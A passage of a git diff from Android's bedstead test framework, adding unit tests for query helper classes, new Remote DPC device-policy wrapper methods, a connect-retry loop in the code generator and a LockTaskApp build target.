+    public void matches_equalsTrue_valueIsFalse_returnsFalse() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.equals(true);
+
+        assertThat(booleanQueryHelper.matches(false)).isFalse();
+    }
+
+    @Test
+    public void matches_equalsFalse_valueIsTrue_returnsFalse() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.equals(false);
+
+        assertThat(booleanQueryHelper.matches(true)).isFalse();
+    }
+
+    @Test
+    public void matches_equalsFalse_valueIsFalse_returnsTrue() {
+        BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
+        booleanQueryHelper.equals(false);
+
+        assertThat(booleanQueryHelper.matches(false)).isTrue();
+    }
+
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/EnumQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/EnumQueryHelperTest.java
new file mode 100644
index 0000000..52895e5
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/EnumQueryHelperTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EnumQueryHelperTest {
+
+    private enum TestEnum {
+        VALUE1, VALUE2
+    }
+
+    private final Queryable mQuery = null;
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE1)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_matches_returnsTrue() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isEqualTo(TestEnum.VALUE1);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE1)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMatch_returnsFalse() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isEqualTo(TestEnum.VALUE1);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE2)).isFalse();
+    }
+
+    @Test
+    public void matches_isNotEqualTo_matches_returnsTrue() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotEqualTo(TestEnum.VALUE1);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE2)).isTrue();
+    }
+
+    @Test
+    public void matches_isNotEqualTo_doesNotMatch_returnsFalse() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotEqualTo(TestEnum.VALUE1);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE1)).isFalse();
+    }
+
+    @Test
+    public void isEqualTo_alreadySpecifiedIsEqualTo_throwsException() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isEqualTo(TestEnum.VALUE1);
+
+        assertThrows(IllegalStateException.class, () -> enumQueryHelper.isEqualTo(TestEnum.VALUE1));
+    }
+
+    @Test
+    public void isNotEqualTo_alreadySpecifiedIsNotEqualTo_throwsException() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotEqualTo(TestEnum.VALUE1);
+
+        assertThrows(IllegalStateException.class,
+                () -> enumQueryHelper.isNotEqualTo(TestEnum.VALUE1));
+    }
+
+    @Test
+    public void matches_isOneOf_matches_returnsTrue() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isOneOf(TestEnum.VALUE1, TestEnum.VALUE2);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE2)).isTrue();
+    }
+
+    @Test
+    public void matches_isOneOf_doesNotMatch_returnsFalse() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isOneOf(TestEnum.VALUE1, TestEnum.VALUE2);
+
+        assertThat(enumQueryHelper.matches(null)).isFalse();
+    }
+
+    @Test
+    public void matches_isNotOneOf_matches_returnsTrue() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotOneOf(TestEnum.VALUE1, null);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE2)).isTrue();
+    }
+
+    @Test
+    public void matches_isNotOneOf_doesNotMatch_returnsFalse() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotOneOf(TestEnum.VALUE1, TestEnum.VALUE2);
+
+        assertThat(enumQueryHelper.matches(TestEnum.VALUE1)).isFalse();
+    }
+
+    @Test
+    public void isOneOf_alreadySpecifiedIsEqualTo_throwsException() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isEqualTo(TestEnum.VALUE1);
+
+        assertThrows(IllegalStateException.class, () -> enumQueryHelper.isOneOf(TestEnum.VALUE1));
+    }
+
+    @Test
+    public void isNotOneOf_alreadySpecifiedIsNotEqualTo_throwsException() {
+        EnumQueryHelper<Queryable, TestEnum> enumQueryHelper =
+                new EnumQueryHelper<>(mQuery);
+
+        enumQueryHelper.isNotEqualTo(TestEnum.VALUE1);
+
+        assertThrows(IllegalStateException.class,
+                () -> enumQueryHelper.isNotOneOf(TestEnum.VALUE1));
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java
new file mode 100644
index 0000000..45d7d62
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ListQueryHelperTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.android.queryable.queries.BundleQuery.bundle;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class ListQueryHelperTest {
+
+    private final Queryable mQuery = null;
+    private static final String BUNDLE_KEY = "key";
+    private static final Bundle BUNDLE_CONTAINING_KEY = new Bundle();
+    private static final Bundle BUNDLE_NOT_CONTAINING_KEY = new Bundle();
+    static {
+        BUNDLE_CONTAINING_KEY.putString(BUNDLE_KEY, "value");
+    }
+
+    @Test
+    public void matches_size_matches_returnsTrue() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.size().isEqualTo(1);
+
+        assertThat(listQueryHelper.matches(List.of(new Bundle()))).isTrue();
+    }
+
+    @Test
+    public void matches_size_doesNotMatch_returnsFalse() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.size().isEqualTo(1);
+
+        assertThat(listQueryHelper.matches(List.of())).isFalse();
+    }
+
+    @Test
+    public void matches_contains_doesContain_returnsTrue() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.contains(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(listQueryHelper.matches(
+                List.of(BUNDLE_CONTAINING_KEY, BUNDLE_NOT_CONTAINING_KEY))).isTrue();
+    }
+
+    @Test
+    public void matches_contains_doesNotContain_returnsFalse() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.contains(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(listQueryHelper.matches(List.of(BUNDLE_NOT_CONTAINING_KEY))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_doesContain_returnsFalse() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContain(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(listQueryHelper.matches(
+                List.of(BUNDLE_CONTAINING_KEY, BUNDLE_NOT_CONTAINING_KEY))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_doesNotContain_returnsTrue() {
+        ListQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> listQueryHelper =
+                new ListQueryHelper<>(mQuery);
+
+        listQueryHelper.doesNotContain(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(listQueryHelper.matches(List.of(BUNDLE_NOT_CONTAINING_KEY))).isTrue();
+    }
+
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/LongQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/LongQueryHelperTest.java
new file mode 100644
index 0000000..fa51a19
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/LongQueryHelperTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class LongQueryHelperTest {
+
+    private final Queryable mQuery = null;
+    private static final long LONG_VALUE = 100L;
+    private static final long GREATER_VALUE = 200L;
+    private static final long LESS_VALUE = 50L;
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper = new LongQueryHelper<>(mQuery);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(GREATER_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isGreaterThan_meetsRestriction_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isGreaterThan(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(GREATER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThan_doesNotMeetRestriction_returnsFalse() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isGreaterThan(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_greaterThan_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isGreaterThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(GREATER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_equalTo_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isGreaterThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_doesNotMeetRestriction_returnsFalse() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isGreaterThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LESS_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isLessThan_meetsRestriction_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isLessThan(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LESS_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThan_doesNotMeetRestriction_returnsFalse() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isLessThan(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_lessThan_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isLessThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LESS_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_equalTo_returnsTrue() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isLessThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(LONG_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_doesNotMeetRestriction_returnsFalse() {
+        LongQueryHelper<Queryable> longQueryHelper =
+                new LongQueryHelper<>(mQuery);
+
+        longQueryHelper.isLessThanOrEqualTo(LONG_VALUE);
+
+        assertThat(longQueryHelper.matches(GREATER_VALUE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java
new file mode 100644
index 0000000..c43697c
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/SetQueryHelperTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.android.queryable.queries.BundleQuery.bundle;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class SetQueryHelperTest {
+
+    private final Queryable mQuery = null;
+    private static final String BUNDLE_KEY = "key";
+    private static final Bundle BUNDLE_CONTAINING_KEY = new Bundle();
+    private static final Bundle BUNDLE_NOT_CONTAINING_KEY = new Bundle();
+    static {
+        BUNDLE_CONTAINING_KEY.putString(BUNDLE_KEY, "value");
+    }
+
+    @Test
+    public void matches_size_matches_returnsTrue() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.size().isEqualTo(1);
+
+        assertThat(setQueryHelper.matches(Set.of(new Bundle()))).isTrue();
+    }
+
+    @Test
+    public void matches_size_doesNotMatch_returnsFalse() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.size().isEqualTo(1);
+
+        assertThat(setQueryHelper.matches(Set.of())).isFalse();
+    }
+
+    @Test
+    public void matches_contains_doesContain_returnsTrue() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.contains(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(setQueryHelper.matches(Set.of(BUNDLE_CONTAINING_KEY, BUNDLE_NOT_CONTAINING_KEY))).isTrue();
+    }
+
+    @Test
+    public void matches_contains_doesNotContain_returnsFalse() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.contains(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(setQueryHelper.matches(Set.of(BUNDLE_NOT_CONTAINING_KEY))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_doesContain_returnsFalse() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContain(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(setQueryHelper.matches(Set.of(BUNDLE_CONTAINING_KEY, BUNDLE_NOT_CONTAINING_KEY))).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotContain_doesNotContain_returnsTrue() {
+        SetQueryHelper<Queryable, Bundle, BundleQuery<Queryable>> setQueryHelper = new SetQueryHelper<>(mQuery);
+
+        setQueryHelper.doesNotContain(
+                bundle().key(BUNDLE_KEY).exists()
+        );
+
+        assertThat(setQueryHelper.matches(Set.of(BUNDLE_NOT_CONTAINING_KEY))).isTrue();
+    }
+
+}
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java b/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java
index 1bea8f4..c727bb0 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java
+++ b/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.remotedpc.managers;
 
 import android.app.admin.DevicePolicyManager;
+import android.app.admin.SystemUpdateInfo;
 import android.content.ComponentName;
 import android.content.IntentFilter;
 import android.os.Bundle;
@@ -27,6 +28,7 @@
 import com.android.bedstead.remotedpc.processor.annotations.RemoteDpcManager;
 
 import java.util.List;
+import java.util.Set;
 
 /**
  * Wrapper of {@link DevicePolicyManager} methods for use with Remote DPC
@@ -124,4 +126,28 @@
 
     /** See {@link DevicePolicyManager#setPreferentialNetworkServiceEnabled(boolean)}. */
     void setPreferentialNetworkServiceEnabled(boolean enabled);
+
+    /** See {@link DevicePolicyManager#notifyPendingSystemUpdate(long)}. */
+    void notifyPendingSystemUpdate(long updateReceivedTime);
+
+    /** See {@link DevicePolicyManager#notifyPendingSystemUpdate(long, boolean)}. */
+    void notifyPendingSystemUpdate(long updateReceivedTime, boolean isSecurityPatch);
+
+    /** See {@link DevicePolicyManager#getPendingSystemUpdate(ComponentName}). */
+    SystemUpdateInfo getPendingSystemUpdate(ComponentName admin);
+    /** See {@link DevicePolicyManager#getPendingSystemUpdate(ComponentName}). */
+    @RemoteDpcAutomaticAdmin SystemUpdateInfo getPendingSystemUpdate();
+
+    /** See {@link DevicePolicyManager#setAffiliationIds(ComponentName, Set)}. */
+    void setAffiliationIds(ComponentName admin, Set<String> ids);
+    /** See {@link DevicePolicyManager#setAffiliationIds(ComponentName, Set)}. */
+    @RemoteDpcAutomaticAdmin void setAffiliationIds(Set<String> ids);
+
+    /** See {@link android.app.admin.DevicePolicyManager#addPersistentPreferredActivity(ComponentName, IntentFilter, ComponentName)}. */
+    void addPersistentPreferredActivity(
+            ComponentName admin, IntentFilter filter, ComponentName activity);
+
+    /** See {@link android.app.admin.DevicePolicyManager#addPersistentPreferredActivity(ComponentName, IntentFilter, ComponentName)}. */
+    @RemoteDpcAutomaticAdmin void addPersistentPreferredActivity(
+            IntentFilter filter, ComponentName activity);
 }
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
index 3e8c781..792776d 100644
--- a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
+++ b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
@@ -45,7 +45,8 @@
 public final class RemoteDpc {
 
     private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    // This must be instrumentation not instrumented to access the resources
+    private static final Context sContext = sTestApis.context().instrumentationContext();
 
     public static final ComponentName DPC_COMPONENT_NAME = REMOTE_DPC_COMPONENT_NAME;
 
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java
index 5be913f..3d31394 100644
--- a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java
+++ b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java
@@ -60,16 +60,28 @@
 
         Log.i(LOG_TAG, "Attempting to bind to " + bindIntent);
 
-        try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-            return context.bindServiceAsUser(bindIntent,
-                    connection, /* flags= */ BIND_AUTO_CREATE,
-                    mRemoteDpc.devicePolicyController().user().userHandle());
-        } catch (Exception e) {
-            // TODO(scottjonathan): This should actually be communicated back...
-            //  (catch the exception outside of the tryBind call)
-            Log.e(LOG_TAG, "Error binding", e);
-            return false;
+        if (mRemoteDpc.devicePolicyController().user().equals(sTestApis.users().instrumented())) {
+            try {
+                return context.bindService(bindIntent,
+                        connection, /* flags= */ BIND_AUTO_CREATE);
+            } catch (Exception e) {
+                // TODO(scottjonathan): This should actually be communicated back...
+                //  (catch the exception outside of the tryBind call)
+                Log.e(LOG_TAG, "Error binding", e);
+                return false;
+            }
+        } else {
+            try (PermissionContext p =
+                         sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                return context.bindServiceAsUser(bindIntent,
+                        connection, /* flags= */ BIND_AUTO_CREATE,
+                        mRemoteDpc.devicePolicyController().user().userHandle());
+            } catch (Exception e) {
+                // TODO(scottjonathan): This should actually be communicated back...
+                //  (catch the exception outside of the tryBind call)
+                Log.e(LOG_TAG, "Error binding", e);
+                return false;
+            }
         }
     }
 
diff --git a/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java b/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
index ea05cc9..09c06b7 100644
--- a/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
+++ b/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
@@ -25,6 +25,8 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.devicepolicy.DeviceOwner;
@@ -36,8 +38,6 @@
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
 import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java b/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java
index b9cf558..3277580 100644
--- a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java
+++ b/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java
@@ -214,6 +214,29 @@
                         .build()
         );
 
+        classBuilder.addMethod(
+                MethodSpec.methodBuilder("tryConnect")
+                        .addModifiers(Modifier.PRIVATE)
+                        .addException(UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
+                        .addCode("$T retries = 300;", int.class)
+                        .beginControlFlow("while (true)")
+                            .beginControlFlow("try")
+                                .addCode("mConnector.connect();")
+                                .addCode("return;")
+                            .nextControlFlow("catch ($T e)", UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
+                                .addCode("retries -= 1;")
+                                .beginControlFlow("if (retries <= 0)")
+                                    .addCode("throw e;")
+                                .endControlFlow()
+                                .beginControlFlow("try")
+                                    .addCode("$T.sleep(100);", Thread.class)
+                                 .nextControlFlow("catch ($T e2)", InterruptedException.class)
+                                .endControlFlow()
+                            .endControlFlow()
+                        .endControlFlow()
+                        .build()
+        );
+
         for (ExecutableElement method : getMethods(interfaceClass)) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
@@ -240,7 +263,7 @@
             }
 
             methodBuilder.beginControlFlow("try")
-                    .addCode("mConnector.connect();")
+                    .addCode("tryConnect();")
                     .addCode(methodCall)
                     .nextControlFlow("catch ($T e)",
                             UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME)
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
index 347e120..fe708ac 100644
--- a/common/device-side/bedstead/testapp/Android.bp
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -85,13 +85,14 @@
 
 java_genrule {
     name: "TestApp_Apps",
-    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp"],
+    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp"],
     out: ["TestApp_Apps.res.zip"],
     tools: ["soong_zip", "index_testapps"],
     cmd: "mkdir -p $(genDir)/res/raw"
          + " && cp $(location :EmptyTestApp) $(genDir)/res/raw"
          + " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
          + " && cp $(location :DeviceAdminTestApp) $(genDir)/res/raw"
+         + " && cp $(location :LockTaskApp) $(genDir)/res/raw"
          + " && $(location index_testapps) --directory $(genDir)/res/raw"
          + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
 }
@@ -124,6 +125,16 @@
     min_sdk_version: "28"
 }
 
+android_test_helper_app {
+    name: "LockTaskApp",
+    static_libs: [
+        "TestApp_TestApps",
+        "DeviceAdminApp"
+    ],
+    manifest: "manifests/LockTaskAppManifest.xml",
+    min_sdk_version: "28"
+}
+
 java_library {
     name: "TestApp_Annotations",
     srcs: [
diff --git a/hostsidetests/packagemanager/boottest/app/AndroidManifest.xml b/common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
similarity index 65%
copy from hostsidetests/packagemanager/boottest/app/AndroidManifest.xml
copy to common/device-side/bedstead/testapp/manifests/LockTaskAppManifest.xml
index 06b1e34..2318c7b 100644
--- a/hostsidetests/packagemanager/boottest/app/AndroidManifest.xml
